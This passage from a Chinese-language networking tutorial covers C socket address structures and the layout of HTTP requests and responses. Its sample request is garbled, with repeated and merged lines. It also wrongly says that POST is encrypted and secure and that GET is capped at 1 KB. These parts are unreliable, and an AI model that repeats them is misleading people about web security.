# define __ss_aligntype __uint32_t
#endif
#define _SS_SIZE 128
#define _SS_PADSIZE (_SS_SIZE - (2 * sizeof (__ss_aligntype)))

struct sockaddr_storage
{
uint16_t ss_family; /* Address family */
__ss_aligntype __ss_align; /* Force desired alignment. */
char __ss_padding[_SS_PADSIZE];
};

struct sockaddr_storage 被设计为同时适合 struct sockaddr_in 和 struct sockaddr_in6

为了避免试图知道要使用的IP版本,可以使用 struct sockaddr_storage,该版本可以保存其中任何一个,后将通过 connect(),bind() 等函数将其类型转换为 struct sockaddr 并以这种方式进行访问

IPv4:struct sockaddr_in,16个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* IP socket address structure */
struct sockaddr_in {
uint16_t sin_family; /* Protocol family (always AF_INET) */
uint16_t sin_port; /* 16位的端口号 */
struct in_addr sin_addr; /* 32位的IP地址 */
unsigned char sin_zero[sizeof (struct sockaddr) -
sizeof (sa_family_t) -
sizeof (in_port_t) -
sizeof (struct in_addr)]; // sin_zero[8]
/* Pad to sizeof(struct sockaddr) */
};

typedef uint32_t in_addr_t;
struct in_addr {
in_addr_t s_addr; /* IPv4 address */
};

该结构体解决了 sockaddr 的缺陷,把 port 和 addr 分开储存在两个变量中

IPv6:struct sockaddr_in6,28个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct sockaddr_in6 {
uint16_t sin6_family; /* AF_INET6 */
uint16_t sin6_port; /* Transport layer port # */
uint32_t sin6_flowinfo; /* IPv6 flow information */
struct in6_addr sin6_addr; /* IPv6 address */
uint32_t sin6_scope_id; /* IPv6 scope-id */
};
struct in6_addr {
union {
uint8_t u6_addr8[16];
uint16_t u6_addr16[8];
uint32_t u6_addr32[4];
} in6_u;

#define s6_addr in6_u.u6_addr8
#define s6_addr16 in6_u.u6_addr16
#define s6_addr32 in6_u.u6_addr32
};

服务器简析

每个网络应用都是基于客户端—服务器模型的,釆用这个模型,一个应用是由 一个服务器进程 和一个或者多个 客户端 进程组成

个客户端—服务器事务由以下四步组成:

  1. 当一个客户端需要服务时,它向服务器发送一个请求,发起一个事务,例如,当 Web 浏览器需要一个文件时,它就发送一个请求给 Web 服务器
  2. 服务器收到请求后,解释它,并以适当的方式操作它的资源,例如,当 Web 服务器收到浏览器发出的请求后,它就读一个磁盘文
  3. 服务器给客户端发送一个响应,并等待下一个请求,例如,Web 服务器将文件发送回客户端
  4. 客户端收到响应并处理它,例如,当 Web 浏览器收到来自服务器的一页后,就在屏幕上显示此页

服务器请求

一般的请求消息如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /home.html HTTP/1.0 <!-- 请求消息行 -->
Accept: */* <!-- 请求消息头 -->
Host: localhost:GET /home.html HTTP/1.0
Accept: */*
Host: localhost:GET /home.html HTTP/1.0
Accept: */*
Host: localhost:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3
Connection: close
Proxy-Connection: close

<html> <!-- 消息正文 -->
<head><title>test</title></head>
<body>
<img align="middle" src="godzilla.gif">
Dave O'Hallaron
</body>
</html>
  • 请求消息行:请求消息的第一行为请求消息行

    • 例如:GET /test/test.html HTTP/1.1
    • GET 为请求方式,请求方式分为:Get(默认)、POST、DELETE、HEAD等
      • GET:明文传输 不安全,数据量有限,不超过1kb
      • POST:暗文传输,安全,数据量没有限制
    • /test/test.html 为URI,统一资源标识符
    • HTTP/1.1 为协议版本
  • 请求消息头:从第二行开始到空白行统称为请求消息头

    • Accept:浏览器可接受的MIME类型告诉服务器客户端能接收什么样类型的文件
    • Accept-Charset:浏览器通过这个头告诉服务器,它支持哪种字符集
    • Accept-Encoding:浏览器能够进行解码的数据编码方式,比如 gzip
    • Accept-Language:浏览器所希望的语言种类,当服务器能够提供一种以上的语言版本时要用到,可以在浏览器中进行设置
    • Host:初始URL中的主机和端口
    • Referrer:包含一个URL,用户从该URL代表的页面出发访问当前请求的页面
    • Content-Type:内容类型告诉服务器浏览器传输数据的MIME类型,文件传输的类型
    • If-Modified-Since:利用这个头与服务器的文件进行比对,如果一致,则从缓存中直接读取文件
    • User-Agent:浏览器类型
    • Content-Length:表示请求消息正文的长度
    • Connection:表示是否需要持久连接。如果服务器看到这里的值为“Keep -Alive”,或者看到请求使用的是HTTP 1.1(HTTP 1.1默认进行持久连接)
    • Cookie:用于分辨两个请求是否来自同一个浏览器,以及保存一些状态信息
    • Date:请求时间GMT
  • 消息正文:当请求方式是[POST]方式时,才能看见消息正文,消息正文就是要传输的一些数据,如果没有数据需要传输时,消息正文为空

服务器响应

一般的响应如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.0 200 OK <!-- 响应消息行 -->
Server: Tiny Web Server <!-- 响应消息头 -->
Content-length: 120
Content-type: text/html

<html> <!-- 响应正文 -->
<head><title>test</title></head>
<body>
<img align="middle" src="godzilla.gif">
Dave O'Hallaron
</body>
</html>
  • 响应消息行:第一行响应消息为响应消息行
    • 例如:HTTP/1.0 200 OK
    • HTTP/1.0 为协议版本
    • 200 为响应状态码,常用的响应状态码有40余种,这里我们仅列出几种,详细请看:
      • 200:一切正常
      • 302/307:临时重定向
      • 304:未修改,客户端可以从缓存中读取数据,无需从服务器读取
      • 404:服务器上不存在客户端所请求的资源
      • 500:服务器内部错误
    • OK 为状态码描述
  • 响应消息头:
    • Location:指示新的资源的位置通常和302/307一起使用,完成请求重定向
    • Server:指示服务器的类型
    • Content-Encoding:服务器发送的数据采用的编码类型
    • Content-Length:告诉浏览器正文的长度
    • Content-Language:服务发送的文本的语言
    • Content-Type:服务器发送的内容的MIME类型
    • Last-Modified:文件的最后修改时间
    • Refresh:指示客户端刷新频率,单位是秒
    • Content-Disposition:指示客户端下载文件
    • Set-Cookie:服务器端发送的Cookie
    • Expires:-1
    • Cache-Control:no-cache (1.1)
    • Pragma:no-cache (1.0) 表示告诉客户端不要使用缓存
    • Connection:close/Keep-Alive
    • Date:请求时间
  • 响应正文:即网页的源代码(F12可查看)